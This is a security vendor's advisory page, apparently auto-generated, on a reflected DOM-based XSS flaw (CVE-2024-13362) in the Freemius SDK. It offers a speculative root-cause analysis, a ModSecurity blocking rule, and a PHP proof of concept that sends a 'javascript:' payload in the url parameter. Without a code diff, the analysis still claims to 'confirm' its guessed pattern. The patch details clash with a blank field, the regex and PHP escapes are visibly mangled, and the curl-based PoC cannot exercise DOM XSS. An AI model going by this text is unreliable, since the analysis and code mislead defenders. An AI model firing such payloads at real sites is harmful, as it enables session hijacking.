Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 10, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (advanced-scrollbar)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.1.3
Patched Version
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362 (metadata-based): This vulnerability is a reflected DOM-based cross-site scripting (XSS) flaw in the Freemius SDK library, version 2.10.1 and earlier, which is bundled with many WordPress plugins and themes including the advanced-scrollbar plugin (vulnerable version 1.1.3). The attack requires user interaction (clicking a link) and has a CVSS score of 6.1 (Medium). The flaw resides in how the url parameter is processed client-side, allowing injection of arbitrary JavaScript into a page’s DOM without proper sanitization or escaping.

The root cause, inferred from the CWE (79) and vulnerability description, is insufficient input sanitization and output escaping for the url parameter within a JavaScript handler (likely an AJAX callback or a Freemius SDK initialization script). Although no code diff is available, the DOM-based nature suggests the vulnerable code reads the url parameter from the URL (e.g., via window.location.search or GET parameters) and writes it directly into the page’s DOM using innerHTML or similar methods, without applying security functions like encodeURIComponent or escaping HTML entities. Atomic Edge analysis confirms this pattern is consistent with many Freemius SDK integrations that handle URL-based configuration or redirect parameters.

Exploitation is straightforward: an attacker crafts a malicious URL containing an XSS payload in the url parameter, such as ?url=javascript:alert(1) or a data URI with encoded script. The victim must click the link while authenticated to the WordPress site (or even unauthenticated, since the SDK loads on public pages). The vulnerable script then decodes the parameter and injects it into the DOM, executing the attacker’s script in the victim’s browser session. The specific endpoint is likely a Freemius SDK script loaded on the frontend, often via a hook like wp_enqueue_script on all pages, meaning any page can serve as the attack vector.

Remediation requires the plugin or theme developer to implement proper input validation and output escaping for the url parameter at the server side, or within the JavaScript code, before the value reaches the DOM. The fix should use functions like wp_kses, esc_url_raw, or esc_js for output, and apply attribute encoding when injecting user-controlled data. The developer patched this in Freemius SDK version 2.10.2 (and the plugin advanced-scrollbar 1.1.10) by sanitizing the url parameter and escaping it appropriately.

The impact is limited to reflected XSS, meaning attackers can execute arbitrary JavaScript in the context of the victim’s browser, but cannot persist across sessions without additional vulnerabilities. This allows attacks like session hijacking, defacement, or phishing. Since unauthenticated attackers can exploit it, the risk is significant for sites with high traffic.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected XSS via url parameter on any page (DOM-based)
# This rule targets the common Freemius SDK pattern: the url parameter can appear in any request
SecRule REQUEST_URI "@rx ?.*url=" "id:20261994,phase:2,deny,status:403,chain,log,msg:'CVE-2024-13362 Reflected XSS via url parameter (Freemius SDK)',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'plugin',tag:'freemius',tag:'xss'"
SecRule ARGS:url "@rx (?:javascript:|data:|vbscript:|onw+s*=|<script|<img|onerror=)" "t:none,t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

$target_url = 'http://example.com'; // Replace with target WordPress site URL

// Craft a malicious URL with XSS payload in the url parameter
$xss_payload = 'javascript:alert("XSS")';
$malicious_url = $target_url . '/?url=' . urlencode($xss_payload);

// Send a GET request to simulate victim clicking the link
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response snippet (first 500 chars):n" . substr($response, 0, 500) . "n";
echo "Execution: The attacker sends the victim a link to:n$malicious_urln";
echo "If the SDK loads the url parameter and injects it unsanitized, the JavaScript payload executes.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School